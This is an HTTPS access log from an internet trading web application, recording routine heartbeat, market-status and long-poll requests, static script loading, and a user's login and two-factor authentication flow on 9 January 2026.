[09/Jan/2026:12:49:02 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:49:02 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:12:49:02 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:49:02 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:12:49:05 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767934414148 HTTP/1.1" -
[09/Jan/2026:12:49:07 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:49:07 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:12:49:10 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767934419192 HTTP/1.1" -
[09/Jan/2026:12:49:15 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767934424349 HTTP/1.1" -
[09/Jan/2026:12:49:20 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767934429454 HTTP/1.1" -
[09/Jan/2026:12:49:25 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:49:25 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:12:49:25 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767934434601 HTTP/1.1" -
[09/Jan/2026:12:49:30 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767934439740 HTTP/1.1" -
[09/Jan/2026:12:49:32 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:49:32 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:12:49:32 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:49:32 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:12:49:35 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767934444853 HTTP/1.1" -
[09/Jan/2026:12:49:37 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:49:37 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:12:49:41 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767934449905 HTTP/1.1" -
[09/Jan/2026:12:49:44 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767934453228 HTTP/1.1" -
[09/Jan/2026:12:49:44 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:49:44 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:49:44 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:12:49:45 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 15
[09/Jan/2026:12:49:46 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767934455035 HTTP/1.1" -
[09/Jan/2026:12:49:46 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/login.html HTTP/1.1" 1755
[09/Jan/2026:12:49:46 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/style_common.css?v=20200819161914 HTTP/1.1" 2540
[09/Jan/2026:12:49:46 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/style.css?v=20200819161914 HTTP/1.1" 1435
[09/Jan/2026:12:49:46 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-migrate-3.0.0.js HTTP/1.1" 4963
[09/Jan/2026:12:49:46 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-3.3.1.js HTTP/1.1" 80650
[09/Jan/2026:12:49:46 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/additional-methods.js HTTP/1.1" 2238
[09/Jan/2026:12:49:46 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.form-3.46.0.js HTTP/1.1" 5673
[09/Jan/2026:12:49:46 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.blockUI-2.66.0.js HTTP/1.1" 6651
[09/Jan/2026:12:49:46 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.validate-1.11.1.js HTTP/1.1" 7041
[09/Jan/2026:12:49:46 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.timer-0.9.16.js HTTP/1.1" 542
[09/Jan/2026:12:49:46 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-ui-personalized-1.6rc2.min.js HTTP/1.1" 55543
[09/Jan/2026:12:49:46 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.getParams.js HTTP/1.1" 587
[09/Jan/2026:12:49:46 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/constants.js?jsv=20200819161914 HTTP/1.1" 400
[09/Jan/2026:12:49:46 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/user/translation.js?jsv=20200819161914 HTTP/1.1" 12818
[09/Jan/2026:12:49:46 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/haitong.js?jsv=20200819161914 HTTP/1.1" 3881
[09/Jan/2026:12:49:46 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/util.js?jsv=20200819161914 HTTP/1.1" 6636
[09/Jan/2026:12:49:46 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/rsautil.js?jsv=20200819161914 HTTP/1.1" 1017
[09/Jan/2026:12:49:46 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/init.js?jsv=20200819161914 HTTP/1.1" 886
[09/Jan/2026:12:49:46 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/login.js?jsv=20200819161914 HTTP/1.1" 1684
[09/Jan/2026:12:49:46 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/version.js?jsv=20200819161914 HTTP/1.1" 85
[09/Jan/2026:12:49:46 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/user/custom_variables.js?jsv=20200819161914 HTTP/1.1" 275
[09/Jan/2026:12:49:47 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/string_extend.js?jsv=20200819161914 HTTP/1.1" 272
[09/Jan/2026:12:49:47 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/pidcrypt.js?jsv=20200819161914 HTTP/1.1" 982
[09/Jan/2026:12:49:47 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/aes_core.js?jsv=20200819161914 HTTP/1.1" 2106
[09/Jan/2026:12:49:47 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/aes_cbc.js?jsv=20200819161914 HTTP/1.1" 2043
[09/Jan/2026:12:49:47 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/asn1.js?jsv=20200819161914 HTTP/1.1" 3099
[09/Jan/2026:12:49:47 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/pidcrypt_util.js?jsv=20200819161914 HTTP/1.1" 1206
[09/Jan/2026:12:49:47 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/sha256.js?jsv=20200819161914 HTTP/1.1" 1362
[09/Jan/2026:12:49:47 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/md5.js?jsv=20200819161914 HTTP/1.1" 1730
[09/Jan/2026:12:49:47 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/prng4.js?jsv=20200819161914 HTTP/1.1" 303
[09/Jan/2026:12:49:47 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/jsbn.js?jsv=20200819161914 HTTP/1.1" 6736
[09/Jan/2026:12:49:47 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/rng.js?jsv=20200819161914 HTTP/1.1" 481
[09/Jan/2026:12:49:47 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/rsa.js?jsv=20200819161914 HTTP/1.1" 1658
[09/Jan/2026:12:49:47 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/bg_login.jpg HTTP/1.1" 29296
[09/Jan/2026:12:49:47 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/dialog.html?1767934456189 HTTP/1.1" 3188
[09/Jan/2026:12:49:47 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SystemMaintenanceCheck HTTP/1.1" 119
[09/Jan/2026:12:49:51 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767934460152 HTTP/1.1" -
[09/Jan/2026:12:49:55 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:49:55 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:12:49:56 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767934465305 HTTP/1.1" -
[09/Jan/2026:12:49:59 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/CheckIsEnableRSA HTTP/1.1" 1
[09/Jan/2026:12:49:59 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/CheckPwEncryptType HTTP/1.1" -
[09/Jan/2026:12:49:59 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/LoginKey HTTP/1.1" -
[09/Jan/2026:12:49:59 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:12:49:59 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Login HTTP/1.1" 463
[09/Jan/2026:12:50:01 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/2FA_authentication.html?language=tc&version=HTML HTTP/1.1" 1468
[09/Jan/2026:12:50:01 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/style_common.css?v=20200819161914 HTTP/1.1" 2540
[09/Jan/2026:12:50:01 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/style.css?v=20200819161914 HTTP/1.1" 1435
[09/Jan/2026:12:50:01 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-3.3.1.js HTTP/1.1" 80650
[09/Jan/2026:12:50:01 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-migrate-3.0.0.js HTTP/1.1" 4963
[09/Jan/2026:12:50:01 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.form-3.46.0.js HTTP/1.1" 5673
[09/Jan/2026:12:50:01 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.validate-1.11.1.js HTTP/1.1" 7041
[09/Jan/2026:12:50:01 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/additional-methods.js HTTP/1.1" 2238
[09/Jan/2026:12:50:01 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-ui-1.10.3.js HTTP/1.1" 69642
[09/Jan/2026:12:50:01 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.timer-0.9.16.js HTTP/1.1" 542
[09/Jan/2026:12:50:01 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.getParams.js HTTP/1.1" 587
[09/Jan/2026:12:50:01 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.blockUI-2.66.0-iAsiaEdition.js HTTP/1.1" 6651
[09/Jan/2026:12:50:01 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/user/translation.js?jsv=20200819161914 HTTP/1.1" 12818
[09/Jan/2026:12:50:01 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/constants.js?jsv=20200819161914 HTTP/1.1" 400
[09/Jan/2026:12:50:01 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/haitong.js?jsv=20200819161914 HTTP/1.1" 3881
[09/Jan/2026:12:50:01 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/init.js?jsv=20200819161914 HTTP/1.1" 886
[09/Jan/2026:12:50:01 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/util.js?jsv=20200819161914 HTTP/1.1" 6636
[09/Jan/2026:12:50:01 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/user/custom_variables.js?jsv=20200819161914 HTTP/1.1" 275
[09/Jan/2026:12:50:01 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/2fa.js?jsv=20200819161914 HTTP/1.1" 1953
[09/Jan/2026:12:50:01 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/login.js?jsv=20200819161914 HTTP/1.1" 1684
[09/Jan/2026:12:50:01 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/settings/webpage_settings.js?jsv=20200819161914 HTTP/1.1" 33
[09/Jan/2026:12:50:01 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767934470447 HTTP/1.1" -
[09/Jan/2026:12:50:01 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/logo.png HTTP/1.1" 7042
[09/Jan/2026:12:50:01 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:12:50:01 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/dialog.html?1767934470684 HTTP/1.1" 3188
[09/Jan/2026:12:50:01 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Get2FAInfoService HTTP/1.1" 109
[09/Jan/2026:12:50:01 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SystemMaintenanceCheck HTTP/1.1" 119
[09/Jan/2026:12:50:01 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SystemMaintenanceCheck HTTP/1.1" 119
[09/Jan/2026:12:50:02 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:50:02 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:12:50:02 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:50:02 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:12:50:06 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767934475649 HTTP/1.1" -
[09/Jan/2026:12:50:07 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:50:07 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:12:50:11 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767934480686 HTTP/1.1" -
[09/Jan/2026:12:50:16 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:12:50:17 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767934485936 HTTP/1.1" -
[09/Jan/2026:12:50:16 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Verify2FAService HTTP/1.1" 427
[09/Jan/2026:12:50:17 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/main.html?language=tc&version=HTML HTTP/1.1" 3578
[09/Jan/2026:12:50:17 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/ui.datepicker.css HTTP/1.1" 1145
[09/Jan/2026:12:50:17 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.tablesorter-theme.blue.css HTTP/1.1" 2083
[09/Jan/2026:12:50:17 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.ba-postmessage.js HTTP/1.1" 2990
[09/Jan/2026:12:50:17 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-1.6.3.min.js HTTP/1.1" 32057
[09/Jan/2026:12:50:17 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/style.css?v=20200819161914 HTTP/1.1" 1435
[09/Jan/2026:12:50:17 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/aastock.js HTTP/1.1" 553
[09/Jan/2026:12:50:17 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-migrate-3.0.0.js HTTP/1.1" 4963
[09/Jan/2026:12:50:17 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-ui-1.10.3.css HTTP/1.1" 5283
[09/Jan/2026:12:50:17 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-3.3.1.js HTTP/1.1" 80650
[09/Jan/2026:12:50:17 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/style_common.css?v=20200819161914 HTTP/1.1" 2540
[09/Jan/2026:12:50:17 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/dragtable-2.0.9.css HTTP/1.1" 316
[09/Jan/2026:12:50:17 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-ui-1.10.3.js HTTP/1.1" 69642
[09/Jan/2026:12:50:17 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/cache.js?jsv=20200819161914 HTTP/1.1" 940
[09/Jan/2026:12:50:17 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/atmosphere.js HTTP/1.1" 13461
[09/Jan/2026:12:50:17 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.form-3.46.0.js HTTP/1.1" 5673
[09/Jan/2026:12:50:17 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.blockUI-2.66.0.js HTTP/1.1" 6651
[09/Jan/2026:12:50:17 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.validate-1.11.1.js HTTP/1.1" 7041
[09/Jan/2026:12:50:17 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.mousewheel-3.1.4.js HTTP/1.1" 822
[09/Jan/2026:12:50:17 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/additional-methods.js HTTP/1.1" 2238
[09/Jan/2026:12:50:17 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.tablesorter-2.14.5.js HTTP/1.1" 8901
[09/Jan/2026:12:50:17 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.tablesorter.widgets-2.14.5.js HTTP/1.1" 8611
[09/Jan/2026:12:50:17 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.timer-0.9.16.js HTTP/1.1" 542
